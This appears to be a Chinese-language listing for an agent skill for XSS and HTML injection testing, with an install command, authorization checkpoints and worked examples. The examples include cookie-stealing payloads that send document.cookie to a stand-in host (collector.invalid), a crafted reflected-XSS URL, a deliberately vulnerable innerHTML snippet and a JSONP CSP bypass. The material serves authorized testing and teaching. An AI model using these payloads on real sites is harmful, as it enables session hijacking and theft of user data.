关于 xss-html-injection
xss-html-injection 是用于授权评估或受控学习环境的跨站脚本与 HTML 注入测试技能。其指南强调避免有害载荷、波及非预期用户及超范围数据暴露。
主要功能
- 01XSS 与 HTML 注入测试指导
- 02存储型和反射型 XSS 示例
- 03基于 DOM 的 XSS 场景
- 04CSP 与框架限制说明
- 05授权及数据处理防护要求
适用场景
- 01在测试环境检查搜索参数
- 02在受控应用验证评论渲染
- 03检查 URL 片段的 DOM 处理
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ sickn33/ agentic-awesome-skills --skill xss-html-injection安装后在 Claude Code 中输入/xss-html-injection确认已加载。
附带文件references/detailed-guide.md
详细介绍
⚠️ 仅限授权使用 此技能仅用于教育目的或经授权的安全评估。 使用此工具前,必须先获得系统所有者明确的书面许可。 滥用此工具属于违法行为,且受到严格禁止。
强制确认关卡 在运行任何探测、利用、修改、持久化、提取目标数据或尝试访问凭据的命令之前:
- 请用户说明确切的目标 URL、IP、账户或资源。
- 请用户确认已获得书面授权,并说明允许的范围。
- 展示确切的命令,并解释其预期效果。
- 等待用户在当前对话中明确确认。
未获得上述确认时,只能进行只读操作,并且仅提供防御指导。优先使用沙箱、可随时销毁的 VM 或受控实验环境。
仅限授权使用:此技能仅可用于经授权的安全评估、防御验证或受控教育环境。
跨站脚本和 HTML 注入测试
详细指南
执行此技能前,请阅读详细指南。其中保留了完整流程和参考资料。必须遵守其中的安全要求、前提条件和验证要求。若仅开展专项工作,请加载相关章节;若需端到端开展工作,请完整阅读指南。
限制和防护措施
操作边界
- 切勿注入可能损坏生产系统的载荷
- 仅将 Cookie/会话捕获用于演示
- 避免使用可能传播给非预期用户的载荷(蠕虫行为)
- 不得超出范围要求窃取真实用户数据
技术限制
- 内容安全策略(CSP)可能会阻止内联脚本
- HttpOnly Cookie 会阻止 JavaScript 访问
- SameSite 会限制部分跨站 Cookie 发送;但无法阻止易受攻击源中的脚本以该用户身份执行操作
- 现代框架通常会自动转义输出
法律和道德要求
- 测试前必须获得书面授权
- 发现严重的 XSS 漏洞时,应立即报告
- 按照数据保护协议处理捕获的凭据
- 不得利用发现的漏洞进行未授权访问
示例
示例 1:评论区中的存储型 XSS
场景:博客评论功能存在存储型 XSS 漏洞
检测:
POST /api/comments
Content-Type: application/json
{"body": "<script>alert('XSS')</script>", "postId": 123}
观察结果:所有查看者都能看到评论,并且脚本会执行
利用载荷:
<script>
var i = new Image();
i.src = 'https://collector.invalid/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
结果:在受控浏览器中,只能发送该文档可访问的非 HttpOnly Cookie;CSP/网络策略也可能阻止此请求。请勿使用真实会话进行测试。
示例 2:通过搜索参数实现的反射型 XSS
场景:搜索结果页面反射查询内容时未进行编码
存在漏洞的 URL:
https://shop.example.com/search?q=test
检测测试:
https://shop.example.com/search?q=<script>alert(document.domain)</script>
构造的攻击 URL:
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://collector.invalid/log?c='+document.cookie)%22%3E
发送方式:仅在测试账户/浏览器中打开,并须获得相关人员同意;向他人发送链接需要单独的明确授权。
示例 3:通过哈希片段实现的基于 DOM 的 XSS
场景:JavaScript 读取 URL 哈希并将其插入 DOM
存在漏洞的代码:
// Vulnerable teaching example: explicit decode introduces markup from an encoded hash.
document.getElementById('welcome').innerHTML = 'Hello, ' + decodeURIComponent(location.hash.slice(1));
攻击 URL:
https://app.example.com/dashboard#%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
结果:脚本完全在客户端执行;载荷不会经过服务器。
示例 4:通过 JSONP 端点绕过 CSP
场景:网站启用了 CSP,但允许使用受信任的 CDN
CSP 标头:
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
绕过方式:在受信任的域名上查找 JSONP 端点:
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
结果:利用允许的脚本来源绕过 CSP。
适用场景
此技能适用于执行概述中所述的工作流或操作。